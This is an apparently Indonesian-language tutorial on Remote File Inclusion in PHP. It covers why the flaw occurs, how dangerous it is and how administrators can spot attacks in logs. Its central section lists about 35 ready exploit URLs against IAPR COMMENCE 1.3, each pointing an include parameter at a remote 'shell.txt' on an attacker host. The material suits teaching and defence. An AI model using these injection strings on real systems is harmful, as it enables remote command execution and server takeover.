Mungkin bagi sebagian teman-teman bertanya-tanya apa sih Remote File Inclusion itu? Bagi sebagian teman-teman yang biasa bergelut dengan komputer security pasti telah sering mendengar apa yang disebut dengan Remote File Inclusion atau biasa disingkat dengan RFI. Remote File Inclusion adalah sebuah bentuk serangan secara remote yang memanfaatkan kelemahan script pada suatu halaman website karena tidak tersanitasi dengan baik, dengan cara menyisipkan script lain untuk exploitasi,

Tehnik ini sendiri mengharuskan webserver yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat menggunakan bahasa script tersebut. Target remote file inclusion biasanya berbentuk sebuah portal atau content management system (CMS) sehingga banyak sekali jumlah website yang rawan terhadap serangan tipe ini.

MENGAPA BISA TERJADI?
———————-
Sebuah serangan Remote File Inclusion terjadi berdasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi. Syarat terjadinya injeksi sendiri terdiri dari:

1. Variabel yang tidak dideklarasikan dengan benar (unsanitized variables)

Variabel dalam PHP mempunyai sintaks:

include ($namavariable. “/file…”)
require_once ($namavariable. /file…)
include_once ($variable. /file…)

Misalnya kita memiliki sebuah file bernama jscript.php dan didalamnya terdapat variabel
seperti ini:


include($my_ms[”root”].’/error.php’);

Variabel tersebut memiliki kemungkinan untuk disisipi file dari luar webserver dengan eksploit
script PHP Incetion:

http://www.target.com/[Script

Path]/jscript.php?my_ms[root]=http://www.injek-pake-kaki.com/script?

2. Setting dalam file PHP.ini

register_globals=On
magic_quotes=off
allow_fopenurl=on

CONTOH SERANGAN DENGAN MENGGUNAKAN TEKNIK RFI
———————————————
Pada kesempatan kali ini penulis akan memberikan sebuah contoh penyerangan dengan menggunakan teknik Remote File Inclusion. Yang akan penulis jadikan target pada contoh kali ini adalah IAPR COMMENCE Versi 1.3. Pada IAPR COMMENCE Versi 1.3 ini banyak sekali halaman yang tidak terfilter dengan baik sehingga bisa dimanfaatkan oleh penyerang untuk melakukan serangan dengan menggunakan teknik Multiple Remote File Inclusion. Halaman-halaman beserta exploitasinya sebagai berikut :

http://target.com/Commence/includes/

db_connect.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/includes/

include_all_fns.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/includes/

main_fns.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/includes/

output_fns.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/includes/

user_authen_fns.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/includes/

include_all_fns.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/phase/

include_all_phase.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/phase/

phase1.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/phase/

phase1.php?privilege_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/phase/

phase2.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/phase/

phase2.php?privilege_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/phase/

phase3.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/phase/

phase3.php?privilege_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/phase/

phase4.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/phase/

phase4.php?privilege_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/admin/phase/

phasebase.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/includes/page_includes/

page.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/includes/page_includes/

pagebase.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/includes/

include_all_fns.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/phase/

include_all_phase.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/includes/page_includes/

pagebase.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/phase/

phase1.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/phase/

phase1.php?privilege_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/phase/

phase2.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/phase/

phase2.php?privilege_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/phase/

phase3.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/phase/

phase3.php?privilege_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/phase/

phase4.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/phase/

phase4.php?privilege_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/reviewer/phase/

phasebase.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/user/phase/

include_all_phase.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/user/phase/

phase1.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/user/phase/

phase2.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/user/phase/

phase3.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/user/phase/

phase4.php?php_root_path=http://penyerang.com/shell.txt?

http://target.com/Commence/user/phase/

phasebase.php?php_root_path=http://penyerang.com/shell.txt?

TINGKAT BAHAYA
————–
Serangan Remote File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya (Very Dangerous) karena injeksi memperkenankan pelakunya untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelakunya mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root.

APA YANG HARUS DILAKUKAN
————————-
Banyak sekali portal dan komunitas white hat yang sering merilis bugs terbaru seputar injeksi. Cara paling aman adalah selalu memperhatikan perkembangan yang mereka lakukan sehingga anda dapat melakukan sedikit perbaikan yang berarti terhadap CMS yang mungkin sekarang anda gunakan. Selalu perhatikan raw log yang biasanya terdapat pada layanan hosting anda. Jika terdapat fetching yang agak menyimpang seperti GET /index.php?page=http://www.injek-pake-kaki.net/cmd? anda wajib curiga, karena bisa saja ini serangan terhadap web atau portal yang anda kelola.Salah satu tehnik paling aman bagi seorang administrator adalah selalu memperhatikan usaha-usaha infiltrasi dan usaha eksploitasi lokal.

Artikel diatas penulis tulis berdasarkan pengetahuan yang penulis miliki, apabila terdapat kesalahan dimohon masukan dan pencerahannya.

Referensi:

http://www.milw0rm.com